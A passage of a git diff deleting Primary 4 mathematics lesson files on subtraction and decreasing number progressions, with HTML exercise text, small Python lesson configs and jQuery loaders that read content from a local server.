-    <br />
-   </td>
-   <td width="17%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    5
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    0
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    0
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    0
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    0
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- -
- <br />
- <br />
- <br />
- <br />
- <br />
- Remember :
- <br />
- <br />
- Arrange the number by writing the lower number under the greater one.
- <br />
- Arrange the digit according to their place value.
- <br />
- Subtract figures starting by the column from the right to left or starting with ones.
- <br />
- <br />
- 1) Find the difference of the following numbers:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  645-123=?
- </li>
-</ul>
-<p>
- &nbsp;
-</p>
-<h3 style="text-decoration: underline;">
- Solution
-</h3>
-<p>
- <br />
- <span style="color: #ffffff;">
-  ...
- </span>
- 6 4 5
- <br />
- -
- <span style="text-decoration: underline;">
-  1 2 3
- </span>
- <br />
- <span style="color: #ffffff;">
-  ..
- </span>
- 5 2 2
- <br />
- <br />
- What happens when a number below is bigger than a number above in a column?
- <br />
- <br />
- Example1:
- <br />
- <br />
- 12365-4567=?
- <br />
- <br />
-</p>
-<h3 style="text-decoration: underline;">
- Solution
-</h3>
-<p>
- <br />
- <span style="text-decoration: line-through;">
-  1
- </span>
- <sup>
-  0
- </sup>
- <span style="text-decoration: line-through;">
-  2
- </span>
- <sup>
-  1
- </sup>
- <sup>
-  1
- </sup>
- <span style="text-decoration: line-through;">
-  3
- </span>
- <sup>
-  1
- </sup>
- <sup>
-  2
- </sup>
- <span style="text-decoration: line-through;">
-  6
- </span>
- <sup>
-  1
- </sup>
- <sup>
-  5
- </sup>
- <sup>
-  1
- </sup>
- 5
- <br />
- <span style="color: #ffffff;">
-  ......
- </span>
- -
- <span style="text-decoration: underline;">
-  4
-  <span style="color: #ffffff;">
-   .. .
-  </span>
-  5
-  <span style="color: #ffffff;">
-   ...
-  </span>
-  6
-  <span style="color: #ffffff;">
-   ...
-  </span>
-  7
- </span>
- <br />
- <span style="color: #ffffff;">
-  .....
- </span>
- 7
- <span style="color: #ffffff;">
-  ...
- </span>
- 7
- <span style="color: #ffffff;">
-  ...
- </span>
- 9
- <span style="color: #ffffff;">
-  ..
- </span>
- 8
- <br />
- <br />
-</p>
-<h4 style="text-decoration: underline;">
- Explanation
-</h4>
-<p>
- &nbsp;
-</p>
-<ul>
- <li>
-  Write out the numbers vertically.
- </li>
- <li>
-  Start subtracting from ones.
- </li>
-</ul>
-<p>
- Ones:5-7 ; not possible take 10 from 60 .
- <br />
- now instead of 60 + 5 (6 tens +5 ones) you have (5 tens + 15 ones) by changing 6 tens to 5 tens and add one ten in from 5.
- <br />
- <br />
- Then 15 - 7=8 write 8 in ones column.
- <br />
- <br />
- Tens : 5-6 not possible take 100 from 300 ; now instead of 300 and 5 tens , you have 2 hundreds and 15 tens :15 tens -6 tens= 9 tens.
- <br />
- <br />
- write 9 in tens columns and so on.
- <br />
- The abstraction operation can be used to complete a decreasing progression.
-</p>
-<ul>
- <li>
-  What is the next number in the following pattern :
- </li>
-</ul>
-<ol>
- <li>
-  150 ; 148 ; 146 ; ---------;---------;--------------.
- </li>
- <li>
-  1550 ; 1540 ; 1530 ; --------; --------; -----------.
- </li>
- <li>
-  280 ; 260 ; 240 ; --------; --------; -----------.
- </li>
- <li>
-  98 ; 95 ;92 ; --------------;-----------;---------------------.
- </li>
- <li>
-  456 ; 454 ; 452 ; ----------; ----------; ------------------.
- </li>
-</ol>
-<p>
- How to make this decreasing arithmetic progression?
- <br />
- You keep substracting any number like 2; 10; 20; 3 etc
- <br />
- e .g : 150 ; 150 - 2= 148 ; 148 - 2 =146 ; 146 -2 =
- <span style="font-weight: bold;">
-  144
- </span>
- ; 144 - 2 =
- <span style="font-weight: bold;">
-  142
- </span>
- ; 142 - 2 = 140 .
- <br />
- 1550 ; 1540 ; 1530 ; 1530 - 10 =
- <span style="font-weight: bold;">
-  1520
- </span>
- ; 1520 - 10 =
- <span style="font-weight: bold;">
-  1510
- </span>
- ; 1510 - 10 =
- <span style="font-weight: bold;">
-  1500
- </span>
- .
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m06/map411m06a02/description.py b/Save_Mathematics/P4/map411m06/map411m06a02/description.py
deleted file mode 100644
index d8fc067..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m06a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m06/map411m06a02/lesson.js b/Save_Mathematics/P4/map411m06/map411m06a02/lesson.js
deleted file mode 100644
index 5153787..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m06/map411m06a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m06/map411m06a02/source.txt b/Save_Mathematics/P4/map411m06/map411m06a02/source.txt
deleted file mode 100644
index 4ea51f9..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a02/source.txt
+++ /dev/null
@@ -1,400 +0,0 @@
-<p>
- ....Monica had 789 mangoes. She gave away 169 mangoes to her friend . How many mangoes remained ?
-</p>
-<ul>
- <li>
-  instruction. Drawing mangoes .
- </li>
-</ul>
-<ul>
- <li>
-  Silas had 150 000 Rwf . he paid 50 000 Rwf for school fees of his daughterAnn. How much money left in his pocket ?
- </li>
-</ul>
-<p>
- Solution:Silas had =150 000 Rwf.
- <br />
- He used:50 000 Rwf.
- <br />
- Left = 150 000 Rwf
- <br />
- <span style="text-decoration: underline;">
-  - 50000Rwf
- </span>
- <br />
- <span style="text-decoration: underline;">
-  <span style="color: #ffffff;">
-   &nbsp;
-  </span>
- </span>
- 100000 Rwf
- <br />
- <span style="color: #ffffff;">
-  .......
- </span>
- <br />
- or
-</p>
-<table style="width: 450px; height: 188px;" border="1" align="right">
- <tbody>
-  <tr>
-   <td colspan="3" width="17%" valign="top">
-    <br />
-    THOUSANDS
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="17%" valign="top">
-    <br />
-    UNITS
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    Hundredss
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    Tens
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    Ones
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    Hundreds
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    Tens
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    Ones
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    5
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    0
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    0
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    0
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    0
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- -
- <br />
- <br />
- <br />
- <br />
- <br />
- Remember :
- <br />
- <br />
- Arrange the number by writing the lower number under the greater one.
- <br />
- Arrange the digit according to their place value.
- <br />
- Subtract figures starting by the column from the right to left or starting with ones.
- <br />
- <br />
- 1) Find the difference of the following numbers:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  645-123=?
- </li>
-</ul>
-<p>
- &nbsp;
-</p>
-<h3 style="text-decoration: underline;">
- Solution
-</h3>
-<p>
- <br />
- <span style="color: #ffffff;">
-  ...
- </span>
- 6 4 5
- <br />
- -
- <span style="text-decoration: underline;">
-  1 2 3
- </span>
- <br />
- <span style="color: #ffffff;">
-  ..
- </span>
- 5 2 2
- <br />
- <br />
- What happens when a number below is bigger than a number above in a column?
- <br />
- <br />
- Example1:
- <br />
- <br />
- 12365-4567=?
- <br />
- <br />
-</p>
-<h3 style="text-decoration: underline;">
- Solution
-</h3>
-<p>
- <br />
- <span style="text-decoration: line-through;">
-  1
- </span>
- <sup>
-  0
- </sup>
- <span style="text-decoration: line-through;">
-  2
- </span>
- <sup>
-  1
- </sup>
- <sup>
-  1
- </sup>
- <span style="text-decoration: line-through;">
-  3
- </span>
- <sup>
-  1
- </sup>
- <sup>
-  2
- </sup>
- <span style="text-decoration: line-through;">
-  6
- </span>
- <sup>
-  1
- </sup>
- <sup>
-  5
- </sup>
- <sup>
-  1
- </sup>
- 5
- <br />
- <span style="color: #ffffff;">
-  ......
- </span>
- -
- <span style="text-decoration: underline;">
-  4
-  <span style="color: #ffffff;">
-   .. .
-  </span>
-  5
-  <span style="color: #ffffff;">
-   ...
-  </span>
-  6
-  <span style="color: #ffffff;">
-   ...
-  </span>
-  7
- </span>
- <br />
- <span style="color: #ffffff;">
-  .....
- </span>
- 7
- <span style="color: #ffffff;">
-  ...
- </span>
- 7
- <span style="color: #ffffff;">
-  ...
- </span>
- 9
- <span style="color: #ffffff;">
-  ..
- </span>
- 8
- <br />
- <br />
-</p>
-<h4 style="text-decoration: underline;">
- Explanation
-</h4>
-<p>
- &nbsp;
-</p>
-<ul>
- <li>
-  Write out the numbers vertically.
- </li>
- <li>
-  Start subtracting from ones.
- </li>
-</ul>
-<p>
- Ones:5-7 ; not possible take 10 from 60 .
- <br />
- now instead of 60 + 5 (6 tens +5 ones) you have (5 tens + 15 ones) by changing 6 tens to 5 tens and add one ten in from 5.
- <br />
- <br />
- Then 15 - 7=8 write 8 in ones column.
- <br />
- <br />
- Tens : 5-6 not possible take 100 from 300 ; now instead of 300 and 5 tens , you have 2 hundreds and 15 tens :15 tens -6 tens= 9 tens.
- <br />
- <br />
- write 9 in tens columns and so on.
- <br />
- The abstraction operation can be used to complete a decreasing progression.
-</p>
-<ul>
- <li>
-  What is the next number in the following pattern :
- </li>
-</ul>
-<ol>
- <li>
-  150 ; 148 ; 146 ; ---------;---------;--------------.
- </li>
- <li>
-  1550 ; 1540 ; 1530 ; --------; --------; -----------.
- </li>
- <li>
-  280 ; 260 ; 240 ; --------; --------; -----------.
- </li>
- <li>
-  98 ; 95 ;92 ; --------------;-----------;---------------------.
- </li>
- <li>
-  456 ; 454 ; 452 ; ----------; ----------; ------------------.
- </li>
-</ol>
-<p>
- How to make this decreasing arithmetic progression?
- <br />
- You keep substracting any number like 2; 10; 20; 3 etc
- <br />
- e .g : 150 ; 150 - 2= 148 ; 148 - 2 =146 ; 146 -2 =
- <span style="font-weight: bold;">
-  144
- </span>
- ; 144 - 2 =
- <span style="font-weight: bold;">
-  142
- </span>
- ; 142 - 2 = 140 .
- <br />
- 1550 ; 1540 ; 1530 ; 1530 - 10 =
- <span style="font-weight: bold;">
-  1520
- </span>
- ; 1520 - 10 =
- <span style="font-weight: bold;">
-  1510
- </span>
- ; 1510 - 10 =
- <span style="font-weight: bold;">
-  1500
- </span>
- .
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m06/map411m06a03/a.txt b/Save_Mathematics/P4/map411m06/map411m06a03/a.txt
deleted file mode 100644
index 595ac09..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a03/a.txt
+++ /dev/null
@@ -1,120 +0,0 @@
-<ul>
- <li>
-  Fin the differance of each pair below:
- </li>
-</ul>
-<p>
- &nbsp;
-</p>
-<ol>
- <li>
-  524 - 243
- </li>
- <li>
-  764 - 356
- </li>
- <li>
-  736 - 354
- </li>
- <li>
-  887 - 534
- </li>
- <li>
-  6377 -36
- </li>
- <li>
-  9836 - 638
- </li>
- <li>
-  8374 - 7364
- </li>
- <li>
-  2364 -132
- </li>
- <li>
-  64726 - 637
- </li>
- <li>
-  87678 -6457
- </li>
- <li>
-  7593 -1234
- </li>
- <li>
-  42536 -98
- </li>
- <li>
-  57623 - 426
- </li>
- <li>
-  99887 - 3623
- </li>
- <li>
-  6238 -764
- </li>
-</ol>
-<div style="text-align: left;">
-</div>
-<ul>
- <li>
-  Fill in the blank of the following progressions :
- </li>
-</ul>
-<ol>
- <li>
-  200 ; 180 ; 160 ; ---------- ; --------- ; -----------.
- </li>
- <li>
-  457 ; 455 ; 453 ; ------------; -----------; ---------.
- </li>
- <li>
-  837 ; 737 ; 637 ; -------------; ----------;----------.
- </li>
- <li>
-  7667 ; 7567 ; 7467 ;---------;-----------;----------.
- </li>
- <li>
-  780 ; 771 ; 762 ; -------------;------------ ;---------.
- </li>
-</ol>
-<ul>
- <li>
-  A company has 980 workers altogether . if the men are 450 how many woman are in that campany?
- </li>
-</ul>
-<ul>
- <li>
-  A library has 65 756 books . Students borrowed 123 00 books and Writers borrowed 56 00books . How many books are left in the library.?
- </li>
-</ul>
-<ul>
- <li>
-  Eliphaz earn 120 000 each month. if he spend 50 000 on food and 30 000 of school fees. How much money does Eliphaz save each month?
- </li>
-</ul>
-<ul>
- <li>
-  Find the ratio of the following progressions:
- </li>
-</ul>
-<ol>
- <li>
-  736 ; 735 ; 734; 733.
- </li>
- <li>
-  8000 ; 7990 ; 7980 ; 7970.
- </li>
- <li>
-  989 ; 889 ;789; 689.
- </li>
- <li>
-  10000 ; 9000 ; 8000 ;7000.
- </li>
- <li>
-  2385 ; 2365; 2345 ;2325.
- </li>
-</ol>
-<p>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m06/map411m06a03/description.py b/Save_Mathematics/P4/map411m06/map411m06a03/description.py
deleted file mode 100644
index e170736..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m06a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m06/map411m06a03/lesson.js b/Save_Mathematics/P4/map411m06/map411m06a03/lesson.js
deleted file mode 100644
index d46ad54..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m06/map411m06a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m06/map411m06a03/source.txt b/Save_Mathematics/P4/map411m06/map411m06a03/source.txt
deleted file mode 100644
index 595ac09..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a03/source.txt
+++ /dev/null
@@ -1,120 +0,0 @@
-<ul>
- <li>
-  Fin the differance of each pair below:
- </li>
-</ul>
-<p>
- &nbsp;
-</p>
-<ol>
- <li>
-  524 - 243
- </li>
- <li>
-  764 - 356
- </li>
- <li>
-  736 - 354
- </li>
- <li>
-  887 - 534
- </li>
- <li>
-  6377 -36
- </li>
- <li>
-  9836 - 638
- </li>
- <li>
-  8374 - 7364
- </li>
- <li>
-  2364 -132
- </li>
- <li>
-  64726 - 637
- </li>
- <li>
-  87678 -6457
- </li>
- <li>
-  7593 -1234
- </li>
- <li>
-  42536 -98
- </li>
- <li>
-  57623 - 426
- </li>
- <li>
-  99887 - 3623
- </li>
- <li>
-  6238 -764
- </li>
-</ol>
-<div style="text-align: left;">
-</div>
-<ul>
- <li>
-  Fill in the blank of the following progressions :
- </li>
-</ul>
-<ol>
- <li>
-  200 ; 180 ; 160 ; ---------- ; --------- ; -----------.
- </li>
- <li>
-  457 ; 455 ; 453 ; ------------; -----------; ---------.
- </li>
- <li>
-  837 ; 737 ; 637 ; -------------; ----------;----------.
- </li>
- <li>
-  7667 ; 7567 ; 7467 ;---------;-----------;----------.
- </li>
- <li>
-  780 ; 771 ; 762 ; -------------;------------ ;---------.
- </li>
-</ol>
-<ul>
- <li>
-  A company has 980 workers altogether . if the men are 450 how many woman are in that campany?
- </li>
-</ul>
-<ul>
- <li>
-  A library has 65 756 books . Students borrowed 123 00 books and Writers borrowed 56 00books . How many books are left in the library.?
- </li>
-</ul>
-<ul>
- <li>
-  Eliphaz earn 120 000 each month. if he spend 50 000 on food and 30 000 of school fees. How much money does Eliphaz save each month?
- </li>
-</ul>
-<ul>
- <li>
-  Find the ratio of the following progressions:
- </li>
-</ul>
-<ol>
- <li>
-  736 ; 735 ; 734; 733.
- </li>
- <li>
-  8000 ; 7990 ; 7980 ; 7970.
- </li>
- <li>
-  989 ; 889 ;789; 689.
- </li>
- <li>
-  10000 ; 9000 ; 8000 ;7000.
- </li>
- <li>
-  2385 ; 2365; 2345 ;2325.
- </li>
-</ol>
-<p>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m06/map411m06a04/a.txt b/Save_Mathematics/P4/map411m06/map411m06a04/a.txt
deleted file mode 100644
index f1ae0f8..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a04/a.txt
+++ /dev/null
@@ -1,164 +0,0 @@
-<ol>
- <li>
-  Fill in the missing numbers in the following progressions:
- </li>
-</ol>
-<ul>
- <li>
-  985 ; 984 ;983 ; ----------- ;------------ ;-------------.
- </li>
- <li>
-  3597 ; 3587 ;3577 ; ------------ ; ---------- ; --------.
- </li>
- <li>
-  7865 ; 7765 ; 7665 ; ------------; ----------- ; --------.
- </li>
- <li>
-  6777 ; 6770 ; 6763 ; -------------; ------------;---------.
- </li>
- <li>
-  8688 ; 7688 ; 6688 ; -------------; ------------; ----------.
- </li>
-</ul>
-<p>
- 2. Substract the following numbers :
- <br />
- <br />
-</p>
-<ul>
- <li>
-  645 - 24
- </li>
- <li>
-  3876 -356
- </li>
- <li>
-  984 - 837
- </li>
- <li>
-  2635 -374
- </li>
- <li>
-  9077 - 764
- </li>
- <li>
-  8989 -3642
- </li>
- <li>
-  7890 - 647
- </li>
- <li>
-  5766 - 870
- </li>
- <li>
-  8756 -1233
- </li>
- <li>
-  77567 -73635
- </li>
- <li>
-  45687 - 6453
- </li>
- <li>
-  7568 -855
- </li>
-</ul>
-<p>
- 3. Substract
- <br />
- <br />
- 7364 - 887
- <br />
- <br />
- 6384 - 37
- <br />
- <br />
- 2346 - 234
- <br />
- <br />
- 8374 - 354
- <br />
- <br />
- 72635 -356
- <br />
- <br />
- 7564 - 364
- <br />
- <br />
- 7645 - 353
- <br />
- <br />
- 8473 -3524
- <br />
- <br />
- 4) Substract :
- <br />
- <br />
- 746 from 987
- <br />
- <br />
- 998 from 10000
- <br />
- <br />
- 647 from 888
- <br />
- <br />
- 5647 from 645
- <br />
- <br />
- 645 from 987
- <br />
- <br />
- 8376 from 132
- <br />
- <br />
- 75657 from 86786
- <br />
- <br />
- 53645 from 87364
- <br />
- <br />
- 5) Find the differance between :
- <br />
- <br />
- 746 and 456
- <br />
- <br />
- 847 and 23
- <br />
- <br />
- 7587and 346
- <br />
- <br />
- 645 and 234
- <br />
- <br />
- 8775 and 2435
- <br />
- <br />
- 67676 and 6454
- <br />
- <br />
- 98585 and 5874
- <br />
- <br />
- 59595 and 34232
- <br />
- <br />
- 999 and 444
- <br />
- <br />
- 6) In school complex, there are 18 978 students .
- <br />
- if 11 000 are boys , How many girls are there?
- <br />
- <br />
- <br />
- 7) If trader had got 15 780 Rwf . He gave away 11435 for selling clothes , how many remained ?
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m06/map411m06a04/description.py b/Save_Mathematics/P4/map411m06/map411m06a04/description.py
deleted file mode 100644
index e4e1ece..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m06a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m06/map411m06a04/lesson.js b/Save_Mathematics/P4/map411m06/map411m06a04/lesson.js
deleted file mode 100644
index 7fe3ebf..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m06/map411m06a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m06/map411m06a04/source.txt b/Save_Mathematics/P4/map411m06/map411m06a04/source.txt
deleted file mode 100644
index f1ae0f8..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a04/source.txt
+++ /dev/null
@@ -1,164 +0,0 @@
-<ol>
- <li>
-  Fill in the missing numbers in the following progressions:
- </li>
-</ol>
-<ul>
- <li>
-  985 ; 984 ;983 ; ----------- ;------------ ;-------------.
- </li>
- <li>
-  3597 ; 3587 ;3577 ; ------------ ; ---------- ; --------.
- </li>
- <li>
-  7865 ; 7765 ; 7665 ; ------------; ----------- ; --------.
- </li>
- <li>
-  6777 ; 6770 ; 6763 ; -------------; ------------;---------.
- </li>
- <li>
-  8688 ; 7688 ; 6688 ; -------------; ------------; ----------.
- </li>
-</ul>
-<p>
- 2. Substract the following numbers :
- <br />
- <br />
-</p>
-<ul>
- <li>
-  645 - 24
- </li>
- <li>
-  3876 -356
- </li>
- <li>
-  984 - 837
- </li>
- <li>
-  2635 -374
- </li>
- <li>
-  9077 - 764
- </li>
- <li>
-  8989 -3642
- </li>
- <li>
-  7890 - 647
- </li>
- <li>
-  5766 - 870
- </li>
- <li>
-  8756 -1233
- </li>
- <li>
-  77567 -73635
- </li>
- <li>
-  45687 - 6453
- </li>
- <li>
-  7568 -855
- </li>
-</ul>
-<p>
- 3. Substract
- <br />
- <br />
- 7364 - 887
- <br />
- <br />
- 6384 - 37
- <br />
- <br />
- 2346 - 234
- <br />
- <br />
- 8374 - 354
- <br />
- <br />
- 72635 -356
- <br />
- <br />
- 7564 - 364
- <br />
- <br />
- 7645 - 353
- <br />
- <br />
- 8473 -3524
- <br />
- <br />
- 4) Substract :
- <br />
- <br />
- 746 from 987
- <br />
- <br />
- 998 from 10000
- <br />
- <br />
- 647 from 888
- <br />
- <br />
- 5647 from 645
- <br />
- <br />
- 645 from 987
- <br />
- <br />
- 8376 from 132
- <br />
- <br />
- 75657 from 86786
- <br />
- <br />
- 53645 from 87364
- <br />
- <br />
- 5) Find the differance between :
- <br />
- <br />
- 746 and 456
- <br />
- <br />
- 847 and 23
- <br />
- <br />
- 7587and 346
- <br />
- <br />
- 645 and 234
- <br />
- <br />
- 8775 and 2435
- <br />
- <br />
- 67676 and 6454
- <br />
- <br />
- 98585 and 5874
- <br />
- <br />
- 59595 and 34232
- <br />
- <br />
- 999 and 444
- <br />
- <br />
- 6) In school complex, there are 18 978 students .
- <br />
- if 11 000 are boys , How many girls are there?
- <br />
- <br />
- <br />
- 7) If trader had got 15 780 Rwf . He gave away 11435 for selling clothes , how many remained ?
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m06/map411m06a05/a.txt b/Save_Mathematics/P4/map411m06/map411m06a05/a.txt
deleted file mode 100644
index 2dac632..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a05/a.txt
+++ /dev/null
@@ -1,251 +0,0 @@
-<p>
- 1) Substract following numbers:
- <br />
- <br />
-</p>
-<ol>
- <li>
-  647 - 63
- </li>
- <li>
-  837 - 76
- </li>
- <li>
-  748 - 123
- </li>
- <li>
-  837 - 787
- </li>
- <li>
-  9484 - 2737
- </li>
- <li>
-  2424 - 909
- </li>
- <li>
-  5454 - 356
- </li>
- <li>
-  2837 - 2525
- </li>
- <li>
-  9388 - 7336
- </li>
- <li>
-  2736 - 938
- </li>
- <li>
-  2938 - 1212
- </li>
- <li>
-  7585 - 2424
- </li>
- <li>
-  6353 - 1234
- </li>
- <li>
-  8696 - 1122
- </li>
- <li>
-  9990 - 8890
- </li>
-</ol>
-<p>
- 2) Complete the substraction table below:
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="17%" valign="top">
-    -
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    756
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    3800
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    7700
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    1600
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    3000
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    121
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    635
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    200
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    7500
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    300
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    130
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    2870
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- 3) Complete following arithmetic progression:
- <br />
- <br />
-</p>
-<ol>
- <li>
-  700 ; 690 ; 680 ; --------- ; ---------- ; ------------ .
- </li>
- <li>
-  89 ; 85 ; 81 ; ---------- ; ------------- ; -------------.
- </li>
- <li>
-  90 ; 80 ; 70 ; ------------ ; ------------- ; ------------.
- </li>
- <li>
-  99 ; 96 ; 93 ; ----------- ; ------------ ; --------------.
- </li>
- <li>
-  500 ;450 ; 400 ; ----------;------------;--------------.
- </li>
- <li>
-  1150 ; 1148 ; 1146 ; --------------- ; --------- ; ---------.
- </li>
- <li>
-  835 ; 735 ; 635 ;----------;------------;---------------.
- </li>
- <li>
-  38536; 37536; 36536 ; ------------ ;-------- ; ---------.
- </li>
- <li>
-  7965 ; 7665 ; 7365 ; ------------- ; ------------ ; -----------.
- </li>
- <li>
-  8999 ; 7999 ;6999 ; --------------;-------------;-------------.
- </li>
-</ol>
-<p>
- <br />
- 4) Francis had 80 000Rwf on his account . He lent 57 000 Rwf to his friend Aloys.
- <br />
- How much money left on his account?
- <br />
- <br />
- 5) Habimana had 10 000 cows in his farm . 890 of them died because of disease. How many cows left ?
- <br />
- <br />
- 6) In an institution of 10 000 Students , 6 000 of them passed at the first session , 3000 passed at the second session in 2010. How many students have repeated the year ?
- <br />
- <br />
- 7) Find the ratio of the following progression :
- <br />
- <br />
-</p>
-<ul>
- <li>
-  75 ; 70 ; 65 ; 60 ; 55
- </li>
- <li>
-  274 ; 264 ; 254 ; 244
- </li>
- <li>
-  7765 ; 7565 ; 7365 ; 7165 ;
- </li>
- <li>
-  9090 ; 9082 ; 9076 ; 9068;
- </li>
- <li>
